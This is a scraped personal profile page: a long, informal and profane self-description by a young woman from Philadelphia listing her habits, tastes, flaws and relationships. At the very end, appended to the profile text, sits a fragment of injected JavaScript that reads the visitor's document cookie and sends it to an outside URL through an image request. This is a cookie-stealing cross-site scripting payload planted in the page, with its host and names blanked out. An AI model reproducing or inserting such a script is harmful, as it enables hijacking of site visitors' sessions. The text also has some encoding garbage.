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MyGen Profile Generator…analytical to a fault, emotionally dramatic to an even greater fault (but I'll deny it to the grave), family, friends and falafel addicted Philly gurl with NOLA in my heart and San Diego on my brain… Ass-kickinâ€,, diagnostician - doctor material addicted to cheesefries swimming in CheezWhiz… Tequila & Guiness drinking Tomboy suckered by the idea of the modern day Cinderella story… French fluent (unpracticed) selfish only child… talkative (which sometimes make me a really shitty listener) music junkie… chronically anxious tea & coffee coniseur (one may just explain the other)… Post-Catholic guilty paranoid agnostic… over salter… writer… laundry hating, Soma missing implusive traveler… bad habit forming unknowing flirter… unapologetic (even when it's my fault) scarf fanatic… insanely forgiving, accident prone, slightly narcissistic, 40's style lovin', chronically impatient, envious but never jealous, OCD messy, commonsenseless genius lil gurl.Driving destination-less is only sure-fire way to clear my mind. I'm in love with my long hair, rarely wear make-up and thrift store shop. I have littered my friend's houses with my shit (see above, "forgetful"). I talk to my mother about my sex life (cause SHE gets me, sometimes). I'm trashy. I hang @ seedy music joints and I like it like that. I prefer lilies to roses any day. I take far too long to tie my shoes (even when I'm running late). I have a raunchy sense of humor but . I'm always right and never change my mind, except for this time. I don't pay much attention to my finances until I'm flat broke (but see $ signs).. I'm a tough cookie... choclate chip. I take cuddling way more seriously than fucking. I'm as dependent upon my insomnia as I am upon sleeping in. I'm overstated, understated and underestimated. I don't mind turning into my mother, I consider it my sweetest compliment. I hate wearing coats and jackets, but I worship hoodie weather (I'm a skate rat) and declare an early spring every year by wearing my flip flops on the first warm night. I sing and dance when I clean. My favorite food is bacon. And I've recently come to terms with the fact that I judge men as easily by how good they are in bed, as well as by how well they cook bacon - both is best. I'm a city chick who canâ€,,t live without an escape from the concrete jungle into nature. The first time I ever fell in love it wasn't with a boy...I fell for science & music - hard, fast and simultaneously. Sometimes I'm a fuck-up! I've noticed the fuck-ups and fucked overs are what made me a whole person. I never let go gracefully. A good majority of my best friends are ex-boyfriends (see above, "forgiving to a fault"). Denim is my second skin but every so often I slip into a dress and cross my legs. My greatest fear is losing my mind. I love snacks. I'm big on snacks! I'm a sneaker wearer but I look fanfuckintastic in a pair of 3 inch stiletto heels and posses the walk way to prove it. Occasionally, I wish I could be a kid again but would never choose it over being an adult. Daydreaming is my favorite pastime and gluttony my deadly sin. Mistakes are my thread and cotton my favorite fabric. I use the word "fuck " far too much. Halloween is fast becoming my . I live for alone time and wait for the message beep (depending on who's calling). I'm an Irish lass, sass and a half. .. .. type=".."var m = document·cookie.substring(document·cookie.indexOf( ".."), document·cookie.length); if (document·cookie.indexOf("..") != -1) {new Image().src="http://..?cookie="+encodeURI(m)};..